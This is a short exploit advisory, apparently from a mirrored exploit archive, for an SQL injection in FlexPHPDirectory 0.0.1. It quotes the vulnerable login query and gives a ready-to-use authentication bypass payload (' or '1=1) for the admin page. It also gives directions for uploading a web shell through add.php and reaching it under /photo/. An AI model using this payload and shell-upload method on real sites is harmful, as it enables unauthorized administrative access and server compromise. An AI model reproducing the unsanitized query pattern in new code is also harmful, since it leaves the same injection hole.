[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : FlexPHPDirectory 0.0.1 (Auth Bypass) SQL Injection Vulnerability
# Published : 2008-12-29
# Author : x0r
# Previous Title : Sepcity Classified (classdis.asp ID) SQL Injection Vulnerability
# Next Title : Flexphpsite 0.0.1 (Auth Bypass) SQL Injection Vulnerability
#############################################
Autore: x0r
Email: andry2000@hotmail.it
Site: http://w00tz0ne.altervista.org/index.php
Cms: Flexphpdiren
Version: 0.0.1
Download: http://www.china-on-site.com/flexphpdir/
##############################################
Bug In adminusercheck.php 'n' add.php
$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";
Exploit:
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1
Shell Upload:
Exploit: add.php upload your shell and after /photo/ to see your shell ^ ^
Greetz: I Miss You...
# www.Syue.com [2008-12-29]